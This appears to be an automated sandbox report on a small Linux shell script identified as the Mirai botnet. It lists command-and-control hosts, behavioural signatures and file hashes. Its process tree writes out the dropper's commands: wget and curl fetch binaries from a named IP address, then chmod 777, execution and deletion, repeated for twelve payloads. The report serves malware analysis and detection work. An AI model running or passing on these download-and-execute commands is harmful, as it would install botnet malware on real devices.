Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    01/09/2026, 09:56

General

  • Target
    ok.sh
  • Size 1KB
  • Sample260901-lyfmrawfre
  • SHA256 f6393dcbcfee887795b9d00f1337dc795bd42a9b9920ea1bb0a297243e9144f7
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

C2
  • a.tmpsrvc.zip

  • 141.98.10.50

Extracted

Family
  • mirai

C2
  • a.tmpsrvc.zip

  • 141.98.10.50

Extracted

Family
  • mirai

C2
  • 141.98.10.50

  • a.tmpsrvc.zip

Extracted

Family
  • mirai

C2
  • a.tmpsrvc.zip

  • 141.98.10.50

Extracted

Family
  • mirai

C2
  • a.tmpsrvc.zip

Extracted

Family
  • mirai

C2
  • a.tmpsrvc.zip

  • 141.98.10.50

Extracted

Family
  • mirai

C2
  • a.tmpsrvc.zip

Extracted

Family
  • mirai

C2
  • a.tmpsrvc.zip

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 2 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Changes its process name 4 IoCs
  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ok.sh
    /tmp/ok.sh
    1⤵
    • Executes dropped EXE
    PID:1491
    • /usr/bin/wget
      wget http://5.182.210.174/889b7c
      2⤵
      • Writes file to tmp directory
      PID:1492
    • /usr/bin/curl
      curl -O http://5.182.210.174/889b7c
      2⤵
      • Writes file to tmp directory
      PID:1497
    • /bin/chmod
      chmod 777 889b7c
      2⤵
      • File and Directory Permissions Modification
      PID:1499
    • /tmp/889b7c
      ./889b7c bc
      2⤵
      • Modifies Watchdog functionality
      • Enumerates active TCP sockets
      • Changes its process name
      • Reads system network configuration
      • Reads runtime system information
      PID:1500
    • /bin/rm
      rm -rf 889b7c
      2⤵
        PID:1502
      • /bin/rm
        rm -rf 889b7c.1
        2⤵
          PID:1506
        • /usr/bin/wget
          wget http://5.182.210.174/bf3aff
          2⤵
          • Writes file to tmp directory
          PID:1507
        • /usr/bin/curl
          curl -O http://5.182.210.174/bf3aff
          2⤵
          • Writes file to tmp directory
          PID:1511
        • /bin/chmod
          chmod 777 bf3aff
          2⤵
          • File and Directory Permissions Modification
          PID:1512
        • /tmp/bf3aff
          ./bf3aff bc
          2⤵
            PID:1513
          • /bin/rm
            rm -rf bf3aff
            2⤵
              PID:1515
            • /bin/rm
              rm -rf bf3aff.1
              2⤵
                PID:1516
              • /usr/bin/wget
                wget http://5.182.210.174/0b93a7
                2⤵
                • Writes file to tmp directory
                PID:1517
              • /usr/bin/curl
                curl -O http://5.182.210.174/0b93a7
                2⤵
                • Writes file to tmp directory
                PID:1518
              • /bin/chmod
                chmod 777 0b93a7
                2⤵
                • File and Directory Permissions Modification
                PID:1519
              • /tmp/0b93a7
                ./0b93a7 bc
                2⤵
                  PID:1520
                • /bin/rm
                  rm -rf 0b93a7
                  2⤵
                    PID:1522
                  • /bin/rm
                    rm -rf 0b93a7.1
                    2⤵
                      PID:1523
                    • /usr/bin/wget
                      wget http://5.182.210.174/5d3833
                      2⤵
                      • Writes file to tmp directory
                      PID:1524
                    • /usr/bin/curl
                      curl -O http://5.182.210.174/5d3833
                      2⤵
                      • Writes file to tmp directory
                      PID:1525
                    • /bin/chmod
                      chmod 777 5d3833
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1526
                    • /tmp/5d3833
                      ./5d3833 bc
                      2⤵
                        PID:1527
                      • /bin/rm
                        rm -rf 5d3833
                        2⤵
                          PID:1529
                        • /bin/rm
                          rm -rf 5d3833.1
                          2⤵
                            PID:1530
                          • /usr/bin/wget
                            wget http://5.182.210.174/a9c307
                            2⤵
                            • Writes file to tmp directory
                            PID:1531
                          • /usr/bin/curl
                            curl -O http://5.182.210.174/a9c307
                            2⤵
                            • Writes file to tmp directory
                            PID:1532
                          • /bin/chmod
                            chmod 777 a9c307
                            2⤵
                            • File and Directory Permissions Modification
                            PID:1533
                          • /tmp/a9c307
                            ./a9c307 bc
                            2⤵
                            • Modifies Watchdog functionality
                            • Enumerates active TCP sockets
                            • Changes its process name
                            • Reads system network configuration
                            • Reads runtime system information
                            PID:1534
                          • /bin/rm
                            rm -rf a9c307
                            2⤵
                              PID:1536
                            • /bin/rm
                              rm -rf a9c307.1
                              2⤵
                                PID:1539
                              • /usr/bin/wget
                                wget http://5.182.210.174/692be7
                                2⤵
                                • Writes file to tmp directory
                                PID:1540
                              • /usr/bin/curl
                                curl -O http://5.182.210.174/692be7
                                2⤵
                                • Writes file to tmp directory
                                PID:1541
                              • /bin/chmod
                                chmod 777 692be7
                                2⤵
                                • File and Directory Permissions Modification
                                PID:1542
                              • /tmp/692be7
                                ./692be7 bc
                                2⤵
                                  PID:1543
                                • /bin/rm
                                  rm -rf 692be7
                                  2⤵
                                    PID:1545
                                  • /bin/rm
                                    rm -rf 692be7.1
                                    2⤵
                                      PID:1546
                                    • /usr/bin/wget
                                      wget http://5.182.210.174/ecc7a9
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:1547
                                    • /usr/bin/curl
                                      curl -O http://5.182.210.174/ecc7a9
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:1548
                                    • /bin/chmod
                                      chmod 777 ecc7a9
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:1549
                                    • /tmp/ecc7a9
                                      ./ecc7a9 bc
                                      2⤵
                                        PID:1550
                                      • /bin/rm
                                        rm -rf ecc7a9
                                        2⤵
                                          PID:1552
                                        • /bin/rm
                                          rm -rf ecc7a9.1
                                          2⤵
                                            PID:1553
                                          • /usr/bin/wget
                                            wget http://5.182.210.174/3d68e8
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:1554
                                          • /usr/bin/curl
                                            curl -O http://5.182.210.174/3d68e8
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:1555
                                          • /bin/chmod
                                            chmod 777 3d68e8
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:1556
                                          • /tmp/3d68e8
                                            ./3d68e8 bc
                                            2⤵
                                              PID:1557
                                            • /bin/rm
                                              rm -rf 3d68e8
                                              2⤵
                                                PID:1559
                                              • /bin/rm
                                                rm -rf 3d68e8.1
                                                2⤵
                                                  PID:1560
                                                • /usr/bin/wget
                                                  wget http://5.182.210.174/f4534e
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:1561
                                                • /usr/bin/curl
                                                  curl -O http://5.182.210.174/f4534e
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:1562
                                                • /bin/chmod
                                                  chmod 777 f4534e
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:1563
                                                • /tmp/f4534e
                                                  ./f4534e bc
                                                  2⤵
                                                    PID:1564
                                                  • /bin/rm
                                                    rm -rf f4534e
                                                    2⤵
                                                      PID:1566
                                                    • /bin/rm
                                                      rm -rf f4534e.1
                                                      2⤵
                                                        PID:1567
                                                      • /usr/bin/wget
                                                        wget http://5.182.210.174/ab7a6b
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:1568
                                                      • /usr/bin/curl
                                                        curl -O http://5.182.210.174/ab7a6b
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:1569
                                                      • /bin/chmod
                                                        chmod 777 ab7a6b
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:1570
                                                      • /tmp/ab7a6b
                                                        ./ab7a6b bc
                                                        2⤵
                                                          PID:1571
                                                        • /bin/rm
                                                          rm -rf ab7a6b
                                                          2⤵
                                                            PID:1573
                                                          • /bin/rm
                                                            rm -rf ab7a6b.1
                                                            2⤵
                                                              PID:1574
                                                            • /usr/bin/wget
                                                              wget http://5.182.210.174/8ba268
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:1575
                                                            • /usr/bin/curl
                                                              curl -O http://5.182.210.174/8ba268
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:1576
                                                            • /bin/chmod
                                                              chmod 777 8ba268
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:1577
                                                            • /tmp/8ba268
                                                              ./8ba268 bc
                                                              2⤵
                                                                PID:1578
                                                              • /bin/rm
                                                                rm -rf 8ba268
                                                                2⤵
                                                                  PID:1580
                                                                • /bin/rm
                                                                  rm -rf 8ba268.1
                                                                  2⤵
                                                                    PID:1581
                                                                  • /usr/bin/wget
                                                                    wget http://5.182.210.174/76e030
                                                                    2⤵
                                                                    • Writes file to tmp directory
                                                                    PID:1582
                                                                  • /usr/bin/curl
                                                                    curl -O http://5.182.210.174/76e030
                                                                    2⤵
                                                                    • Writes file to tmp directory
                                                                    PID:1583
                                                                  • /bin/chmod
                                                                    chmod 777 76e030
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:1584
                                                                  • /tmp/76e030
                                                                    ./76e030 bc
                                                                    2⤵
                                                                      PID:1585
                                                                    • /bin/rm
                                                                      rm -rf 76e030
                                                                      2⤵
                                                                        PID:1587
                                                                      • /bin/rm
                                                                        rm -rf 76e030.1
                                                                        2⤵
                                                                          PID:1588

                                                                      Network

                                                                            MITRE ATT&CK Enterprise v16

                                                                            Replay Monitor

                                                                            Loading Replay Monitor...

                                                                            Downloads

                                                                            0b93a7

                                                                            • Path /tmp/0b93a7
                                                                            • Size 67KB
                                                                            • SHA256 f99c9f901aaa71655d19744695e1e9e5a8355acc9c06deac3263d6c70ee28c6a
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            3d68e8

                                                                            • Path /tmp/3d68e8
                                                                            • Size 49KB
                                                                            • SHA256 126587d4d19348dffe47be2a6b28099524f64c5fad151ea8ac39f03eecf2b74c
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            5d3833

                                                                            • Path /tmp/5d3833
                                                                            • Size 45KB
                                                                            • SHA256 e5487800c7d76aa70f042a00bf6cdfda4dea3d47b3f9380aa62e0b977e628e90
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            692be7

                                                                            • Path /tmp/692be7
                                                                            • Size 65KB
                                                                            • SHA256 ccede6623541ba6a0fc3229a5918ae28434aa1fb9c399eda21e0fcc768ef99c5
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            76e030

                                                                            • Path /tmp/76e030
                                                                            • Size 61KB
                                                                            • SHA256 dd83556fe3576a7e3981b76a877d2e93775a670051690a32a8d5a2b523737c1b
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            889b7c

                                                                            • Path /tmp/889b7c
                                                                            • Size 49KB
                                                                            • SHA256 ec6e22487afb11f9c43d301ff1c4b6a5d682d6130795e036899f1940cd881cf9
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            8ba268

                                                                            • Path /tmp/8ba268
                                                                            • Size 48KB
                                                                            • SHA256 e9dea5238bd030f4957feddc743e3e83320dc8e30c30f9beed3f1bc378610f30
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            a9c307

                                                                            • Path /tmp/a9c307
                                                                            • Size 44KB
                                                                            • SHA256 0499177053f928c01303c320f1294a9ab3e3e7a2a079f5867aaec76c5b492794
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            ab7a6b

                                                                            • Path /tmp/ab7a6b
                                                                            • Size 120KB
                                                                            • SHA256 6600a34ca16450acd58c268082008e3b401df0f49f66cff84fae62c904f9833f
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            bf3aff

                                                                            • Path /tmp/bf3aff
                                                                            • Size 51KB
                                                                            • SHA256 d7c1e3d1185ccbb37f983fa073cb0a2585c410a6703cdcf90ed152f9c2c30471
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            ecc7a9

                                                                            • Path /tmp/ecc7a9
                                                                            • Size 43KB
                                                                            • SHA256 1a4fef3ab5508f589a60b3d5ac472b5a8be0b55c706a181e899d09fb587116fd
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            f4534e

                                                                            • Path /tmp/f4534e
                                                                            • Size 53KB
                                                                            • SHA256 a8bf3d3c5ce7bfeab333d68cc077b267d39402af1f5266e7da28aae626a9bb4f
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH